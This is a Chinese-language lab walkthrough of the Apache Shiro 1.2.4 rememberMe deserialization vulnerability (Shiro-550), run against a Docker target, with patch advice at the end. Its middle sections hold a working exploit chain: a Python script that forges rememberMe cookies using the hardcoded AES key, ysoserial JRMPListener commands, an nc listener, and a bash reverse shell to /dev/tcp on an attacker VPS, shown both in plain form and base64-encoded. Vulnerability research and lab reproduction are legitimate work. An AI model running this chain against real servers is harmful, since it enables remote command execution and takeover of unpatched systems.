声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
1、Apache Shiro介绍
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
2、漏洞介绍
在Shiro <=1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。
3、影响版本
Apache Shiro <= 1.2.4
4、 漏洞复现
4.1 环境搭建
使用docker搭建shiro靶机,命令如下:
//获取docker镜像
docker pull medicean/vulapps:s_shiro_1
//启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
搭建靶机:
访问靶机:
访问正常,靶机搭建成功,靶机IP:10.57.201.77
4.2 工具准备
- shiro_tool.jar漏洞验证工具
- ysoserial工具下载、mvn打包
- shiro.py生成rememberMe的脚本
shiro_tool.jar下载:
https://github.com/wyzxxz/shiro_rce_tool
maven下载:
http://maven.apache.org/download.cgi
maven配置及环境变量参考:
https://zhuanlan.zhihu.com/p/48831465
下载ysoserial工具并打包:
(打包完的ysoserial在ysoserial/target文件中)
https://github.com/frohoff/ysoserial
shiro.py脚本如下:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
4.3 漏洞验证
使用shiro_tool.jar验证漏洞:
java -jar shiro_tool.jar http://10.67.201.77:8080/
存在默认key,证明漏洞存在。
4.4 漏洞利用
注:我这里使用的攻击机为外网vps,执行bash反弹命令,vps接收shell。
- vps设置监听端口为1234
nc -lvvp 1234
构造bash反弹命令、利用Java Runtime配合bash编码:
编码地址:
https://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/*.*.*.*/1234 0>&1
编码后payload为:(避免信息泄露,xxx为替换字符)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuMzcuNDMuMTAvMTIzNCAwPixxx}|{base64,-d}|{bash,-i}
- 通过ysoserial工具中的JRMP监听模块,监听6666端口并执行反弹shell命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuMzcuNDMuMTAvMTIzNCAwPixxx}|{base64,-d}|{bash,-i}'
- 使用检测出的AES,利用工具shiro.py生成payload
python shiro.py *.*.*.*:6666
//注意:此命令中为攻击机vps地址,和监听的JRMR服务 6666 端口
把生成的payload复制,稍后替换cookie值
- 访问靶机,burpsuit抓包,构造请求包
设置好burp代理,访问靶机,点击account page:
输入admin/admin ,勾上Remember Me,点login抓包
使用shiro.py生成的payload替换请求包中的cookie:
原始请求:
替换cookie,构造后的请求:
- 发送请求,发现攻击机JRMP有流量、nc反弹成功
到此,漏洞成功利用,控制靶机,任意命令执行。
排坑阶段:
- 坑点一:本地mvn打包报错,setting.xml指定jdk版本可解决
- 坑点二:python使用pip装Crypto报错,google解决
- 坑点三:bash反弹4444端口,服务器一直接收失败,telnet公网4444端口不通,更换1234监听 …(或关闭ufw)
总结:
Shiro-550漏洞产生的根本原因就是因为AES加密的key硬编码在源码中,从而可以被攻击者利用泄露的AES key伪造rememberMe字段生成cookie值,导致反序列化漏洞。因此,服务器端对cookie值的处理过程反过来就是payload的产生过程:命令=>进行序列化=>AES加密=>base64编码=>产生RememberMe Cookie值。
5、修复建议
- 升级shiro到1.2.5及以上
- 如果在配置里配置了密钥, 不要使用网上的密钥, 利用官方提供的方法去生成密钥。
End :工具问题,可私聊笔者。